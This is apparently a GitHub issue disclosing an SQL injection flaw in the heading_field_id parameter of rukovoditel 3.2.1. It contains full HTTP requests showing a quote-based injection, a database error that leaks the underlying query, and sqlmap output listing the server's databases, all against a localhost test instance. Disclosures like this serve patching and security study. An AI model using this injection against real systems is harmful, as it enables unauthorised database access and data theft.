

New issue

[Jump to bottom](#)

SQL injection Vulnerability on "heading_field_id" in rukovoditel 3.2.1 #16

Open

anhdq201 opened this issue on Nov 2 · 1 comment

anhdq201 commented on Nov 2

Owner

Version: 3.2.1

Description

The heading_field_id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the heading_field_id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared.

Proof of Concept

Step 1: Add single quote was submitted in the heading_field_id parameter, and a database error message was returned.

Request	Response
<pre>1 POST /index.php?module=entities/fields&action= set_heading_field_id&entities_id=24&token=4aUMYEAWOR HTTP/1.1 2 Host: localhost:13338 3 Content-Length: 21 4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104" 5 Accept: */* 6 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 7 X-Requested-With: XMLHttpRequest 8 sec-ch-ua-mobile: ?0 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 10 sec-ch-ua-platform: "Windows" 11 Origin: http://localhost:13338 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: http://localhost:13338/index.php?module=entities/listi ng&entities_id=24 16 Accept-Encoding: gzip, deflate 17 Accept-Language: en-US,en;q=0.9 18 Cookie: fusion76pfl_visited=yes; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; phpb3_e8syp_k=; phpb3_e8syp_u=48; phpb3_e8syp_sid= 743d3129957b5c056246073522737e2e; _ga= GA1.1.218229828.1664898394; fusion76811_visited=yes; usertbl_results= user_joined42Cuser_lastvisit42Cuser_groups; usertbl_status=042C2; usertbl_search=425; cookie_test= please accept for session; __gads= ID=b63f95e167767e3-223ed1eb6ed70099:T=1666372760:RT=1 666372760:S=ALNI_Mb91DmkK_x0J8j2K2pPxjDq1Kc12g; __gpi= UID=00000b688c13c685:T=1666372760:RT=1666503579:S=ALNI _MYg91G2FuuVtBvjCRK2-ukl-abew; sid= 6qkt3vrkv561fvrv50p9dh164n; sidebar_closed=0; ckCsrfToken=2p65K5BHH9h7C54YwWcQAc7e0QQjwBECTxPmLTjU 19 Connection: close 20 21 heading_field_id=188'</pre>	<pre>1 HTTP/1.1 200 OK 2 Date: Wed, 02 Nov 2022 15:31:11 GMT 3 Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1 PHP/7.4.30 4 X-Powered-By: PHP/7.4.30 5 Set-Cookie: cookie_test=please accept for session; expires=Fri, 02-Dec-2022 15:31:11 GMT; Max-Age=2592000 6 Expires: Thu, 19 Nov 1981 08:52:00 GMT 7 Cache-Control: no-store, no-cache, must-revalidate 8 Pragma: no-cache 9 Content-Length: 1007 10 Connection: close 11 Content-Type: text/html; charset=utf-8 12 13 14 <app_db_error> 15 <div style="color: #b94a48; background: #f2dede; border: 1px solid #eed3d7; padding: 5px; margin: 5px; font-family: Verdana; font-size: 12px; line-height: 1.5;"> 16 <div> Database Error: 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '24' at line 1 </div> 17 <div> Query: update app_fields set is_heading=1 where id='188' and entities_id='24' </div> 18 <div> Page: /index.php?module=entities/fields&action=set_h eading_field_id&entities_id=24&token=4aUMYEAWOR </div></pre>

Step 2: Then add two quotes and submit the request, the error message disappears.

Request	Response
<pre>1 POST /index.php?module=entities/fields&action= set_heading_field_id&entities_id=24&token=4aUMYEAWOR HTTP/1.1 2 Host: localhost:13338 3 Content-Length: 22 4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104" 5 Accept: */* 6 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 7 X-Requested-With: XMLHttpRequest 8 sec-ch-ua-mobile: ?0 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 10 sec-ch-ua-platform: "Windows" 11 Origin: http://localhost:13338 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: http://localhost:13338/index.php?module=entities/listi ng&entities_id=24 16 Accept-Encoding: gzip, deflate 17 Accept-Language: en-US,en;q=0.9 18 Cookie: fusion76pfl_visited=yes; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; phpb3_e8syp_k=; phpb3_e8syp_u=48; phpb3_e8syp_sid= 743d3129957b5c056246073522737e2e; _ga= GA1.1.218229828.1664898394; fusion76811_visited=yes; usertbl_results= user_joined42Cuser_lastvisit42Cuser_groups; usertbl_status=042C2; usertbl_search=425; cookie_test= please accept for session; __gads= ID=b63f95e167767e3-223ed1eb6ed70099:T=1666372760:RT=1 666372760:S=ALNI_Mb91DmkK_x0J8j2K2pPxjDq1Kc12g; __gpi= UID=00000b688c13c685:T=1666372760:RT=1666503579:S=ALNI _MYg91G2FuuVtBvjCRK2-ukl-abew; sid= 6qkt3vrkv561fvrv50p9dh164n; sidebar_closed=0; ckCsrfToken=2p65K5BHH9h7C54YwWcQAc7e0QQjwBECTxPmLTjU 19 Connection: close 20 21 heading_field_id='188'</pre>	<pre>1 HTTP/1.1 200 OK 2 Date: Wed, 02 Nov 2022 15:32:01 GMT 3 Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1 PHP/7.4.30 4 X-Powered-By: PHP/7.4.30 5 Set-Cookie: cookie_test=please accept for session; expires=Fri, 02-Dec-2022 15:32:01 GMT; Max-Age=2592000 6 Expires: Thu, 19 Nov 1981 08:52:00 GMT 7 Cache-Control: no-store, no-cache, must-revalidate 8 Pragma: no-cache 9 Content-Length: 0 10 Connection: close 11 Content-Type: text/html; charset=utf-8 12 13</pre>

Step 3: Use SQLMap to dump full database.

```
C:\Windows\System32\cmd.exe
[22:41:57] [INFO] testing MySQL
[22:41:57] [INFO] confirming MySQL
[22:41:57] [WARNING] reflective value(s) found and filtering out
[22:41:57] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.54, PHP 7.4.30
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[22:41:57] [INFO] fetching database names
[22:41:57] [INFO] resumed: 'information_schema'
[22:41:57] [INFO] resumed: 'mysql'
[22:41:57] [INFO] resumed: 'performance_schema'
[22:41:57] [INFO] resumed: 'phpfusion'
[22:41:57] [INFO] resumed: 'phpmyadmin'
[22:41:57] [INFO] resumed: 'rukovoditel'
[22:41:57] [INFO] resumed: 'test'
available databases [7]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpfusion
[*] phpmyadmin
[*] rukovoditel
[*] test
```

Impact

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

A wide range of damaging attacks can often be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and taking control of the database server.

qnxnb commented 3 days ago

Where do I download to rukovoditel to verify?

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

